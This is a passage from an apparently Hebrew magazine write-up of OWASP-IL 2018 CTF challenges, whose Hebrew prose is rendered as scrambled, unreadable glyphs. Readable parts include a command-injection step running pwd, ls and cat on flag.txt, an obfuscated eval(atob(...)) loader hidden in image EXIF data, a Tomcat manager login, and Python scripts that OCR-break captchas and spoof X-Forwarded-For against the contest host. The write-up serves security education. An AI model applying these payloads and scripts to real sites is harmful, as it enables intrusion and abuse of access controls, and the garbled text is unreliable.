 ˪˰ ˫˧˥ˣˣ˧ˡ ˶˧˸˯ˢ˪ ˧ˡ˩ ˢˤ˩ ˧˪˩˪ ˶˦˪˧˲ ˫˧˟˸ˣ˩ ˨˧˞ ˣˮ˞˶ˢ ,˶ˬ˞ˬˢ ˪˷ ˧ˮ˷ˢ ˣ˵˪˥˟ˣ ˶˟˧˧˶ˡ ˸˶ˤ˰˟

˪ ˫ˠ ˸ˣ˷˰˪ ˭˸˧ˮ ˨˞ ˫˧˩˧˪ˢ˸˪ ˫˧˰ˣ˶˧˞˟ ˵˶ ˣˮ˷ˬ˸˷ˢ ˶ˬ˞ˬ˟ .ˣˮ˪˷ ˨˧˪ˢ˸-Thread ,Registry ,Images 

ˡˣ˰ˣ ,˰˲ ˨˶ˡ ˢ˸ˣ˞ ˸˶ˤ˰˟ ˣ˲˸˸˷ˢ˷ ˟˧˧˶˟ˡ ˪˞˧ˮˡ˪ˣ ˧ˣ˪ ˶ˣ˞˧˪˪ ˸ˣˡˣˢ˪ ˢ˴ˣ˶ ˧ˮ˞ .˭˸ˣ˞ ˫ˠ ˭ˮ˯˪ˣ ˢ˪ˣ

.˶˦˪˧˲ˢ ˸˟˧˸˩˟ 

˸ˣ˶ˣ˵ˬ 

:˶ˬ˞ˬˢ ˞˷ˣˮ ˪˰ ˧ˮ˩˦ ˶ˬˣ˥ 

¶ https://www.fireeye.com/blog/threat-research/2012/06/bypassing-process-monitoring.html 

¶ https://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html?m=1 

¶ https://docs.microsoft.com/en-us/sysinternals/ 

¶ https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-

pssetcreateprocessnotifyroutine 

 ˢ˧˴˲ˣ˞ˢ ˸˪˰˲ˢTESTSIGNING ˫ˣ˸˥ ˞˪ ˶˟˧˧˶ˡ ˭ˣ˰˦˪ ˧ˡ˩: 

¶ https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-

configuration-option 

 ˸˟˧˟˯ ˸ˬ˵ˢKernel Debugging  ˫˰Vmware x-WinDbg: 

¶ https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-

virtual-machine--kernel-mode- 

 

  

https://www.fireeye.com/blog/threat-research/2012/06/bypassing-process-monitoring.html
https://www.triplefault.io/2017/09/enumerating-process-thread-and-image.html?m=1
https://docs.microsoft.com/en-us/sysinternals/
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/attaching-to-a-virtual-machine--kernel-mode-
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ˢ ˧˶ˠ˸˞ ˭ˣ˶˸˲-CTF  ˪˷OWASP-IL 2018 

 ˸˞ˬ˭˶˰ x˭˧ˮ˵ ,˭ˬˣ˶ ˭˧˵˧˞ˤ ,˭ˣ˪˞ ˶ˮ˧˯˵ˣ˟ ,ˢ˪˵˧ˡ ˢˡ˶˟ ,ˡ˰˧˪ ˧˥˶ˤˬ ,˪˧˧˞ ˭ˣˬˣ˪˯ ,˪ˠ ˤ˟˪˞ xˢ˶˰˧ ˧˵˧˶˷ 

 

˞ˣ˟ˬ 

 ˯ˮ˩ ˫˧˧˵˸ˢ ,ˢˮ˷ ˪˩˟˩OWASP AppSec  ˟˧˟˞ ˪˸ ˸˦˧˯˶˟˧ˮˣ˞˟ ˥˶˞˸ˢ ˯ˮ˩ˢ ˢˮ˷ˢ .˧˪˞˶˷˧ˢ

 ˫˧˩˧˶˞˸˟5-6.09.2018.  ˣ˴˵ˣˢ ˯ˮ˩ˢ ˨˪ˢˬ˟24 ˢ ˭ˣ˶˸˲ ˸˟ˣ˦˪ ˸ˣ˰˷-CTF  ˫˧ˮ˧˧ˮ˰ˬ ˫˧˶ˠ˸˞ ˪˪˩˷

ˡ˥˞˩ ˫˧˶ˠ˸˞ˬˣ. 

 ˫˪ˣ˰ˬ ˸ˣˮˣ˶˵˰ˣ ˫˧˪˩ ˣ˪˧˞˟ˣ ˫˧˶ˠ˸˞ˢˬ ˡ˥˞ ˪˩ ˪˷ ˭ˣ˶˸˲ˢ ˸˞ ˭˧ˤˠˬˢ ˧˞˶ˣ˵˪ ˦˶˲ˮˣ ˶˞˸ˮ ˢˤ ˨ˬ˯ˬ˟

-sApplication Security .˭ˣ˶˸˲˪ ˨˶ˡ˟ ˣˮ˷ˬ˸˷ˢ 

ˢ ˧˶ˠ˸˞-CTF ˪ ˣ˵˪ˣ˥-3  ,˸ˣˬ˶Easy ,Medium x-Hard: 

 

 

 

ˬ ˪˧˥˸ˮ-Easy... 
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 ˶ˠ˸˞devDucks 

 

.ˣ˸ˣ˞ ˶ˣ˸˲˪ ˸ˮˬ ˪˰ ˭ˣ˸˧˧˲ ˦˰ˬ ˵˶ ˷˶ˡˮ ˭˩˪ˣ ˫˧˶ˠ˸˞ˢ ˪˩ ˭˧˟ˬ ˶˸ˣ˧˟ ˪˵ˢ ˶ˠ˸˞ˢ ˣˢˤ 

 ˠ˴ˣˬ ˶ˠ˸˞˟exception trace  ˪˷ ˪ˬ˯ ,˭˦˵ ˭ˣ˵˧˧˞ ˠ˴ˣˬ ˱˞ˣ ˞˪ˬconsole:˨˩ ˢ˞˶ˮ˷ ˢˬ .˭˧ˬ˧ ˡ˴ˬ , 

 

:˱ˣ˯ˬ ˣˮ˪ ˥˸˲˸ ˭ˣ˵˧˧˞ˢ ˪˰ ˢ˴˧˥˪ 
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 ˫˷˟ ˳˟ˣ˵ ˫˧˧˵ ˫˞ ˣˮ˷˲˧˥flag.txt .˞˪˷ ˣˮ˧˪˧ˠˣ ˫˧˴˟˵ˢ ˸˩˶˰ˬ ˪˩˟  ˣˮ˰˴˧˟import  ˪ˣˡˣˬ˪subprocess 

 ˢˡˣ˸ˬˢ ˸˶ˤ˰˟ˣ Popen ˳˧˶ˢ˪ ˣˮ˥˪˴ˢ2 ) ˸ˣˡˣ˵˲pwd, ls -l ˫˧˴˟˵ ˣ˪˧˞ˣ ˫˧˞˴ˬˮ ˣˮ˥ˮ˞ ˭˩˧ˢ ˭˧˟ˢ˪ˣ (

ˣˮ˧ˮ˲˪ ˫˧˯ˣ˶˲: 

 

 ˸˧˧˵˧˸ ˨ˣ˸˟app  ˳˟ˣ˵ˢ ˶˸˸˯ˢindex.py ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ˣˮ˩ˣ˸˟ ˦˧˟ˮ .cat :˞˟ˢ ˪ˠˡˢ ˸˞ ˪˟˵ˮˣ 
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˶ˠ˸˞ OWASP University 

 

 ˫˧˦˶˲˪ ˣˬ˧˞˸˧ ˣ˟ ˫˧˦˶˲ˢ˷ ˨˩ ˢ˦˧˯˶˟˧ˮˣ˞ˢ ˶˸˞˪ ˦ˮˡˣ˦˯ ˯˧˦˶˩ ˸ˣ˪˰ˢ˪ ˫˧˩˧˶˴ ˣˮ˞ ˢˤ ˶ˠ˸˞˟

:ˢ˞˧ˠ˷ ˪˟˵ˮ ˶˸˞˪ ˸˧˶ˣ˵ˬˢ ˢˮˣˬ˸ˢ ˸˞ ˸ˣ˪˰ˢ˪ ˢ˯ˮˮ ˫˞ .˫˧ˮˣ˸ˮˢ ˡ˯ˬ˟ ˫˧ˬ˧˧˵ˢ 

 

 ˭˧˧ˮ˰ˬ˷ ˢˡ˷ˢˢ ˞ˣˢ ˣˮ˸ˣ˞-security code  ˢˮˣ˷˞˶ˢ ˢ˟˷˥ˬˢ ,˦ˮˡˣ˦˯ ˯˧˦˶˩ ˫˧˪˰ˬ ˣˮ˞˷ ˭ˣˣ˧˩ˬ .

) ˢˬ˴˰ ˢˮˣˬ˸˟ ˶˸˯ˣˬ ˪ˠˡˢ ˫˞ˢ ˷˲˥˪ ˸ˣ˯ˮ˪ˣ ˸˧˶ˣ˵ˬˢ ˢˮˣˬ˸˟ ˷ˬ˸˷ˢ˪ ˢ˸˧˧ˢsteganography.( 

ˢˮ˩ˣ˸˟ ˢ˩˶˰ˮ ˢˮˣˬ˸ˢ˷ ˢ˸˪˰ˢ ˢ˶˴˵ ˢ˵˧ˡ˟gimp  ˧ˣ˟ˬ ˣˢˤ ˧˩ ˣˮ˟ˢ ˨˩ ˪"ˮˢ ˭ˣˣ˧˩˟ ˣˮ˵ˬ˰ˢ˷ ˪˩˩ .

 .˫ˣ˸˯) ˢˮˣˬ˸˟ ˦˯˵˦ ˧ˣˢ˧ˤ˪ ˢ˧ˠˣ˪ˣˮ˩˦˟ ˷ˬ˸˷ˬ ˶˸˞ˢ ˧˩ ˟˪ ˣˮˬ˷ ,ˢˤ ˟˪˷˟OCR ˞ˣ˶˵˪ ˸ˮˬ ˪˰ (

 .˯˧˦˶˩ˢ ˪˷ ˸ˣˡ˷ˢ ˭˩ˣ˸ ˸˞ 

 ˰˴˟˪ ˣˮ˯˧ˮˣ ˯˧˦˶˩ˢ ˸ˣˡ˷ ˸˞ ˨ˣ˶˰˪ ˸ˮˬ ˪˰ ˶˧˧˴˟ ˣˮ˷ˬ˸˷ˢSQL Injection ,˸ˣˡ˷ˢ ˪˩˟ 

 ˢˡ˷˟ ˰˴ˣ˟ ˢ˵˶ˤˢˢsecurity code .˪ˠˡˢ ˸˞ ˣˮ˪˟˵ ˥˵ˣ 

 
:˪ˠˡˢ OWASP-IL{I_Love_Little_Bobby_Drop_Tables} 
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˶ˠ˸˞ No Pain No Gain 

 

:˨˩ ˢ˞˶ˮˢ ˧˦˦˯ ˦ˮ˶˦ˮ˧˞ ˱ˡ ˣˮ˪˟˵ ,˶ˠ˸˞ˢ ˱ˡ˪ ˢ˯˧ˮ˩ˢ ˶˥˞˪ 

 

:˫˧˧˵ ˞˪ ˟˧˸ˮ˪ ˢ˷˧˪ˠ ˧"˰ ˢ˞˧ˠ˷˪ ˫ˣ˶ˠ˪ ˣˮ˦˪˥ˢ ,˸˶˷ˢ ˡ˴ ˪˷ ˢ˧ˠˣ˪ˣˮ˩˦ˢ ˸˞ ˸ˣˢˤ˪ ˸ˮˬ ˪˰ 

 

 ˸˶˷˟ ˶˟ˣˡˬ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ ˸˶ˤˣ˥ˢ ˢ˰ˡˣˢˢ ˦ˣ˶˧˲˪ ˸ˣˡˣˢApache Tomcat  ˢ˯˶ˠ˟7.0.90 ˸˰˩ .

.˪ˠˡˢ ˸ˠ˷ˢˣ ˸˶˷ˢ ˪˰ ˸ˣ˦˪˸˷ˢ˪ ˸ˣ˧ˣ˶˷˲˞ˢ ˧ˣ˲˧ˬ˟ ˣˮ˪˥˸ˢ 
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 ˪˷ ˪ˡ˥ˬ ˸˶˧˶˟ ˧˟˧˸ˮ˪ ˸˷ˠ˪ ˸ˣˮˣ˧˯˧ˮ ˶˲˯ˬ ˶˥˞˪Apache Tomcat ˟˧˸ˮ˪ ˸˷ˠ˪ ˣˮ˥˪˴ˢ ,/manager .

 ˸˧˧˴˵˧˪˲˞manager  ˧˪˰˟˪ ˸˶˷˲˞ˬ ˧˸˶˷Apache Tomcat  ˪ˣˢ˧ˮ ˪ˮ˞˲˟ ˷ˣˬ˧˷ ˧"˰ ˫˧˸˶˷ˢ ˸˞ ˪ˢˮ˪

˞ˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ ˸ˣ˰˴ˬ˞˟ ˭ˠˣˬˢ: 

 

ˢ ˸˧˧˴˵˧˪˲˞ ˧˩ ˣˮ˞˴ˬ ,ˢˤ ˢ˶˵ˬ˟-manager  ˷˥ˮ˪ ˭˸˧ˮ˷ ˨˩ ,˪ˡ˥ˬ ˸˶˧˶˟ ˸ˣ˶ˡˠˢ ˸ˣ˰˴ˬ˞˟ ˸˶ˡˠˣˬ

 ˳˟ˣ˵˟ ˢ˴˴ˢ ˧"˰ ˪ˮ˞˲˪ ˞ˬ˯˧˯ˢˣ ˷ˬ˸˷ˬˢ ˫˷ ˸˞tomcat-users.xml. 

 

˥˪˴ˣˬ ˸ˣ˶˟˥˸ˢ ˶˥˞˪ ˞˟ˢ ˟˧˸ˮ˪ ˣˮ˰ˠˢ ˨˩ˣ ˸˶˷˟ ˟ˣ˸˧ˮˢ ˸ˣ˧ˣ˶˷˲˞ ˪˰ ˣˮ˪˩˸˯ˢ ˪ˣˢ˧ˮˢ ˪ˮ˞˲˪ ˸

/iAmTh3FlagAndYouCantFindMe:˪ˠˡˢ ˸˞ ˢ˶˧ˤ˥ˬ ˟˧˸ˮ˪ ˢ˷˧˪ˠ . 

 

http://challenges.owaspil.ctf.today:8092/iAmTh3FlagAndYouCantFindMe/
http://challenges.owaspil.ctf.today:8092/iAmTh3FlagAndYouCantFindMe/
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˶ˠ˸˞ Curriculum Vitea 

 

 ˞ˣ˴ˬ˪ ˞˧ˢ ˶ˠ˸˞ˢ ˸˶˦ˬˢ˥˦˟˞ˢ ˧ˣ˵˧˪ ˸˞ ˶˸˞˪ˣ ˶˸˞˪ ˣ˴˶˲ ˡ˴˧˩ , .˶ˠ˸˞ˢ ˱ˡ ˪˷ ˶ˣ˵ˬˢ ˡˣ˵˟ ˦˧˟ˮ

:˞˟ˢ ˦˲˧˶˵˯ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮ 

<script > 

    eval ( function ( p, a, c, k, e, r ){ e=function ( c){ return  

c. toString ( a)}; if (! '' . replace ( /^/ , String )){ while ( c--

) r [ e( c)]= k[ c]|| e( c); k=[ function ( e){ return  

r [ e]}]; e=function (){ return ' \ \ w+' }; c=1}; while ( c-- ) if ( k[ c]) p=p. replace ( new 

RegExp( ' \ \ b' +e( c)+ ' \ \ b' , 'g' ), k[ c]); return  p}( '7(0(){9},c);"e 4";5.6=1;0 1(){8 

a=b.3("d");2.f(a,0(){g(h(2.i(j,"k").l("").m().n("")))})}' , 24, 24, 'function|getExi

f|EXIF|getElementById|strict|window|onload|setInterval|var|debugger||document|10

0|profileImage|use|getData|eval|atob|getTag|this|Model|split|reverse|join' . split

( '|' ), 0,{}))  

</ script > 

 ˸˶ˤ˰˟ ˣ˸ˣ˞ ˢ˲˧˧ˮBeatify  ˢ˧˴˵ˮˣ˲ˢ ˪˰ ˪˩˸˯ˮˣgetExif: 

function  getExif ()  {  

    var  a = document . getElementById ( "profileImage" );  

    EXIF . getData ( a,  function ()  {  

        eval ( atob ( EXIF . getTag ( this ,  "Model" ). split ( "" ). reverse (). join ( "" )))  

    })  

}  

˟ ˷˲˥ˬˣ ˶˸˞ˢˬ ˪˧˲ˣ˶˲ˢ ˸ˮˣˬ˸ ˸˞ ˥˵ˣ˪ ˡˣ˵ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ-EXIF Metadata  ˫˷˟ ˸˧ˠ˸ ˢ˪˷

Model˩ ˣ˸ˣ˞ ˥ˮ˰˲ˬ ,˪˟˧˵˷ ˰ˡ˧ˬˢ ˨˲ˣˢ ˞ˣˢ ˭˩ˬ ˶˥˞˪ .-base64  ˸ˣ˰˴ˬ˞˟ ˢ˞˴ˣ˸ˢ ˸˞ ˳˧˶ˬˣ

 ˢ˧˴˵ˮˣ˲ˢeval . 
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ˢ ˪˰ ˪˩˸˯ˮˣ ˱ˡˢˬ ˪˧˲ˣ˶˲ˢ ˸ˮˣˬ˸ ˸˞ ˡ˧˶ˣˮ-metadata  ˧˪˩ˢ ˸˶ˤ˰˟ ˢ˪˷EXIF tool: 

 

 ˢˡ˷˟ ˦˧˟ˮCamera Model Name  ˭˩ˣ˸ ˥ˮ˰˲ˮ ˭ˣ˷˞˶ ˟˪˷˟ .˦˲˧˶˵˯˟ ˣˮ˧˞˶˷ ˫˧ˡ˰˴ˢ ˪˰ ˶ˣˤ˥ˮˣ

 ˢˡ˷ˢCamera Model Name  ˸ˣ˰˴ˬ˞˟ ˡˡˣ˵ˬˢBase64 ˧˶˥˞ .Beatify :˪˟˵ˮ 

function  verify ( a)  {  

    if  ( a. charCodeAt ( 0x0 )  == "79"  && a. charCodeAt ( 0x1 )  == "87"  && a. charCodeAt ( 0x2 )  == 

"65"  && a. charCodeAt ( 0x3 )  == "83"  && a. charCodeAt ( 0x4 )  == "80"  && a. charCodeAt ( 0x5 )  == 

"45"  && a. charCodeAt ( 0x6 )  == "73"  && a. charCodeAt ( 0x7 )  == "76"  && a. charCodeAt ( 0x8 )  == 

"123"  && a. charCodeAt ( 0x9 )  == "74"  && a. charCodeAt ( 0xa )  == "52"  && a. charCodeAt ( 0xb )  == 

"118"  && a. charCodeAt ( 0xc )  == "52"  && a. charCodeAt ( 0xd )  == "83"  && a. charCodeAt ( 0xe )  == 

"99"  && a. charCodeAt ( 0xf )  == "114"  && a. charCodeAt ( 0x10 )  == "49"  && a. charCodeAt ( 0x11 )  == 

"112"  && a. charCodeAt ( 0x12 )  == "116"  && a. charCodeAt ( 0x13 )  == "78"  && a. charCodeAt ( 0x14 )  

== "105"  && a. charCodeAt ( 0x15 )  == "110"  && a. charCodeAt ( 0x16 )  == "106"  && 

a. charCodeAt ( 0x17 )  == "52"  && a. charCodeAt ( 0x18 )  == "33"  && a. charCodeAt ( 0x19 )  == "125" )  {  

        console . log ( "Contratz! You got the flag! \ nFlag: "  + a)  

    }  else  {  

        console . log ( "You are so wrong.. :)" )  

    }  

}  

 ˸ˤˣ˶˥ˬˢ ˪˰ ˢ˵˧ˡ˟ ˢ˷ˣ˰ ˢ˧˴˵ˮˣ˲ˢa  ˧ˣˣ˸˪ ˶ˡ˯ˢ ˧˲˪ ˢ˟ ˫˧ˣˣ˸ˢ ˸˞ ˢˣˣ˷ˬˣASCII ˫ˠ˶˸˪ ˵˶ ˶˞˷ˮ .

ˢ ˸˞-ASCII :˪ˠˡˢ ˸˞ ˪˟˵ˮˣ ˦˯˵˦˪ 

OWASP-IL{J4v4Scr1ptNinj4!} 

 



 
 

˭ˣ˶˸˲ ˧˶ˠ˸˞ s-CTF ˪˷ OWASP-IL 2018 

www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ99 , ˶˟ˣ˦˵ˣ˞2018  50 
 

˶ˠ˸˞ Break the Captcha 

 

 ˶ˣ˸˲˪ ˫˧˷˶ˡˮ ˣˮ˞ ˢˤ ˶ˠ˸˞˟15  ˧˶ˠ˸˞captcha ˟-30 .˸ˣ˧ˮ˷ 

 

ˢ ˸˞ ˶ˣ˸˲˧˷ ˶˴˵ ˭ˣ˶˸˧˧˲ ˦˲˧˶˵˯ ˟ˣ˸˩˪ ˣˮ˷˶ˡˮ ˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˸ˮˬ ˪˰-captcha  ˣ˸ˣ˞ ˥˪˷˧ˣ

˶˸˞˪ ˢ˶ˤ˥: 

from  PIL import  Image  

import  re  

import  requests  

import  pytesseract  

 

 

def  get_captcha ():  

    text = pytesseract . image_to_string ( Image . open ( 'a.png' ))  

    return  text . strip ()  

 

 

def  get_image ():  

    response = requests . get ( captcha_url ,  cookies =cookies )  

    if  response . status_code == 200 :  

        with  open ( "a.png" ,  'wb' )  as  f :  

            f . write ( response . content )  

 

# 

# Global Configurations  

# 

url = 'http://challenges.owaspil.ctf.today:8088/'  

captcha_url = "http://challenges.owaspil.ctf.today:8088/captcha.php"  

cookies = dict ( PHPSESSID="79ee09d15fa4acf22b1b8fcfae430539" )  

headers = { 'content - type' :  'application/x - www- form - urlencoded' }  

 

while  True :  
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    get_image ()  

    code = get_captcha ()  

 

    response = requests . post ( url ,  cookies =cookies ,  

data ="captcha={0}&submit=" . format ( code ),  headers =headers )  

    if  "Oh snap! you are wrong!"  in  response . text :  

        print  "[ - ] Bad captcha!"  

    elif  "Correct!"  in  response . text :  

        print  "[+] Correct!"  

    else :  

        flag = re . search ( "{(.+?)}" ,  response . text ). group ( 1)  

        print  "[*] FLAG: OWASP - IL{{{0}}}" . format ( flag )  

 

        raw_input ( "[*] Done!" )  

˶˟˯ˢ ˰ s˪˦˲˧˶˵˯: 

 ˢ˧˴˵ˮˣ˲ˢget_image  ˪ˣˡˣˬ˟ ˸˷ˬ˸˷ˬrequests ˢ˸ˣ˞ ˸˶ˬˣ˷ˣ ˶˸˞ˢˬ ˢˮˣˬ˸ˢ ˸˞ ˞˧˴ˣˢ˪ ˧ˡ˩ 

.˸˧ˬˣ˵ˬ  ˢ˧˴˵ˮˣ˲ˢget_captcha  ˫˧˪ˣˡˣˬ˟ ˸˷ˬ˸˷ˬPIL ˣ (˸ˣˮˣˬ˸ ˫˰ ˢˡˣ˟˰˪ ˭ˣ˸˧˧˲ ˪˷ ˢ˪˧˟˥)-

pytesseract  ˯˯ˣ˟ˬ ˧˪˩)OCR .(ˢˮˣˬ˸ ˨ˣ˸˟ ˦˯˵˦ ˸˞˧˶˵˪ ˷ˬ˷ˬˢ 

˥˸˲ˮSuite  Burp ˢ ˸˷˵˟˟ ˫˧˶˟˰ˣˬ ˫˧˶˦ˬ˶˲ ˣ˪˧˞ ˸ˣ˞˶˪ ˸ˮˬ ˪˰-POST ˷ ˫˧˴˥ˣ˪ ˶˷˞˩ ˸˥˪˷ˮ

submit :˫ˢ ˫˧˶˦ˬ˶˲ˢ ˧˩ ˸ˣ˞˶˪ ˭˸˧ˮ .captcha x-submit: 

 

 ˸˷˵˟ ˶ˣ˴˧ˮ ,˸˰˩POST ˪ ˱˯ˣˮ˟ ˫ˡˣ˵ ˣˮ˶˩ˤˢ˷ ˫˧˶˦ˬ˶˲ˢ ˫˰ ˢ˷ˡ˥-cookie .ˣˮ˪˷  ˸˴˶ˢ ˶˥˞˪

:˪˟˵ˮ ˦˲˧˶˵˯ˢ 
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˶ˠ˸˞ Around the world 

 

 ˸˟ˣ˸˩ˬ ˸˶˷˪ ˸˷ˠ˪ ˣˮ˷˵˟˸ˢ ˢˤ ˶ˠ˸˞˟IP  ˪˷16 .˸˶˷ˢ ˸ˣ˟ˣ˷˸˟ ˸ˣ˰˧˲ˣˬˢ ˸ˣˮ˧ˡˬˢ  ˣˮ˰˴˧˟

 ˧˷˞˶ˢ ˱ˡ˪ ˢ˷˵˟http://challenges.owaspil.ctf.today:8094 :˞˟ˢ ˦˪˲ˢ ˸˞ ˣˮ˪˟˧˵ ˢ˟ˣ˷˸˟ˣ 

 

 ˧˪˩˟ ˣˮ˷ˬ˸˷ˢBurp Suite  :˫˧˰˪˵ˢ ˧˶ˣ˥˞ˬ ˶ˠ˸˞ˢ ˡ˟ˣ˰ ˡ˴˧˩ ˶˸ˣ˧ ˟ˣ˦ ˭˧˟ˢ˪ ˧ˡ˩˟ 

 

 ˣ˧˪˞ ˢˮ˲ˮ˷ ˷˵˧˟ ˸˶˷ˢ ˢˮˣ˷˞˶ˢ ˢ˷˵˟˟ ,˞ˬˠˣˡ˪) ˸˷˵ˣ˟ˬˢ ˢˮ˧ˡˬˢˬ ˸˶˷˪ ˸ˣˮ˲˪ ˧ˡ˩˟

" ˶˸ˣ˩ˢ ˸˞ ˣˮ˲˯ˣˢ (ˢˮ˧˦ˮˠ˶˞ˬX-Forwarded-For˫˰ ˡ˥˧ "Proxy IP   .ˢˮ˧˦ˮˠ˶˞ ˪˷ 

http://challenges.owaspil.ctf.today:8094/
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) ˪"ˮˢ ˶˸ˣ˩ ˸˲˯ˣˢXFF ˧ˡ˩ ˸˪˟ˣ˵ˬ ˢ˦˧˷ ˞˧ˢ ˢ˷˵˟˪ (ˢ ˸˟ˣ˸˩ ˶ˣ˵ˬ ˸˞ ˸ˣˢˤ˪-IP  ˷ˬ˸˷ˬˢ ˪˷

 ˸ˣ˰˴ˬ˞˟ ˸˶˷˪ ˶˟˥˸ˬ˷HTTP PROXYˢ˷˵˟ˢ ˸˞ ˣˮ˥˪˷ . :ˢ˞˟ˢ 

 

˪ ˳˲˵ ˢˮˣˬˢˣ ˢˮ˧˦ˮˠ˶˞ˬ ˣˮ˰ˠˢ˷ ˢ˞˶ ˭˩˞ ˸˶˷ˢ ˧˩ ˣˮ˪˟˧˵ ˢ˟ˣ˷˸˟ˣ-1 ˸ˣ˞˶˪ ˶˷˲˞ ˭˩ ˣˬ˩ .

˶˴ˣˮ˷SESSION COOKIE  ˸˷˵ˣ˟ˬˢ ˢˮ˧ˡˬˢˬ ˢ˞˟ˢ ˢ˷˵˟ˢ ˪˷ ˱ˣ˧ˤ˟ ˢ˷ˡ˥ˢ ˢ˧˧ˠˣ˰˟ ˷ˬ˸˷ˮ .˷ˡ˥  

(Albania) ˬ ˸ˣ˧ˮ˲ ˰˴˟˪ ˨˧˷ˬˮ ˨˩ˣ-16 .˷˵ˣ˟ˬ˩ ˸ˣˮ˧ˡˬ 

:˸ˣ˞˟ˢ ˸ˣ˪ˣ˰˲ˢ ˸˞ ˰˴˟ˬ ˶˷˞ ˞˟ˢ ˡˣ˵ˢ ˸˞ ˣˮ˟˸˩ ˸˧˦ˬˣ˦ˣ˞ ˢ˶ˣ˴˟ ˸ˣ˧ˮ˲ˢ ˪˩ ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰ 

1.  ˶˸˞ˢˬ ˸ˣˮ˧ˡˬˢ ˸ˬ˧˷˶ ˸˞ ˡ˧˶ˣˬhttps://www.worldatlas.com/aatlas/ctycodes.htm 

2. ˣ ˢˮ˧ˡˬ ˪˷ ˫˷ ˢ˟ˣ˷˸˟ ˪˟˵ˬˣ ˸˶˷ˢ ˪˞ ˢˮˣ˲-Session Cookie 

3. ˸ˣˮ˧ˡˬˢ ˸ˬ˧˷˶ ˸˶ˤ˰˟ (˶ˣ˴˧˵˟ ˢ˸ˣ˞ ˸ˣˮˬ˯ˬˢ ˸ˣ˧˸ˣ˞ ˧˸˷) ˢ˪˷ ˡˣ˵ˢ ˣˢˬ ˢˮ˧ˡˬˢ ˶ˣ˟˰ ˷˲˥ˬ 

4.  ˸ˣ˟ˣ˸˩ ˸˞˧˴ˬ ˪˷ ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˬIP  ˪˷ ˶˸˞˟ ˢˮ˧ˡˬ ˪˩˪ ˫˧˧ˤ˩˶ˬnirsoft  ˫˰ ˢˮ˧ˡˬ ˡˣ˵ˢ

˫ˡˣ˵ˢ ˟˪˷˟ ˣˮ˞˴ˬ˷ 

5.  ˶˸ˣ˩ ˶˴ˣ˧XFF ˢ ˸ˣ˟ˣ˸˩ˬ ˸˥˞ ˫˰ ˷ˡ˥-IP ˸ˣ˰˴ˣˬˢ 

6. ˢ ˫˰ ˢ˷ˡ˥ ˢ˷˵˟ ˶˴ˣ˧-Session Cookie  ˶˸ˣ˩ˢˣ ˣˮ˪˟˧˵˷XFF ˷ˡ˥ˢ 

7. ˸˶˷˪ ˢ˷˵˟ˢ ˸˞ ˥˪ˣ˷ 

8.  ˫˧˟˪˷ ˪˰ ˶ˤˣ˥2  ˡ˰7 ˪ˠˡˢ ˸˪˟˵˪ ˡ˰ 

#!/usr/bin/python  

import  re  

import  requests  

import  urllib3  

urllib3 . disable_warnings ( urllib3 . exceptions . InsecureRequestWarning )  

 

 

def  get_next_ip ( country_name ):  

    code = re . search ( r'{0} \ s([A - Z][A - Z])' . format ( country_name ),  

country_codes ). group ( 1). lower ()  

    new_url = "https://www.nirsoft.net/countryip/{0}.html" . format ( code )  

    response = requests . get ( new_url ,  verify =False )  

    new_ip = re . findall ( r'(?:[0 - 9]{1,3} \ .){3}[0 - 9]{1,3}' ,  response . text )[ 2]  

https://www.worldatlas.com/aatlas/ctycodes.htm
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    return  new_ip  

 

# 

# Global Configurations  

# 

 

country_codes = open ( "country_codes" ). read ()  

url = 'http://challenges.owaspil.ctf.today:8094/'  

headers = {}  

 

session = requests . session ()  

response = session . get ( url )  

 

for  i in  xrange ( 17):  

    country_name = str ( response . content ). split ( "from" )[ 1]. split ( "(" )[ 0]. strip ()  

    new_ip = get_next_ip ( country_name )  

 

    print  "[+] country {0} ip {1}" . format ( country_name ,  new_ip )  

    headers [ 'X - Forwarded - For' ]  = new_ip  

 

    response = session . get ( url ,  headers =headers )  

    if  "OWASP- IL"  in  response . text :  

        print  "[*] {0}" . format ( response . text )  

 ˡˣ˵ˢ ˸˴˶ˢ ˶˥˞˪:˪ˠˡˢ ˸˞ ˣˮ˪˟˵ 

 

 ˡ˰ ˸ˬ˶˟ ˫˧˶ˠ˸˞ˢ ˪˩ ˸˞ ˣˮ˶˸˲ ˢˤ ˟˪˷Easy ˸ˬ˶˟ ˫˧˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˷ˠˮ ˸˰˩ ,Medium! 
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˶ˠ˸˞ LazyAdmin 

 

˟ ˵˯ˣ˰ ˢˤ ˶ˠ˸˞-ViewState Tampering ˟-ASP.NET  ˸ˬ˶˪ ˰˧ˠˢ˪ ˶ˠ˸˞ˢ ˸˶˦ˬ ,˸ˣ˞˷˶ˢ ˱˵˰ˬˣ

.˸˩˶˰ˬˢ ˪ˢˮˬ ˪˷ ˸ˣ˞˷˶ˢˢ ˞ˬ˯˧˯ˣ ˷ˬ˸˷ˬ ˫˷ ˣˮ˪˟˧˵ ˶ˠ˸˞˪ ˢ˯˧ˮ˩ˢ ˫˰  ˣˮ˧˪˰ˣ ˪˧ˠ˶ ˷ˬ˸˷ˬ ˪˷

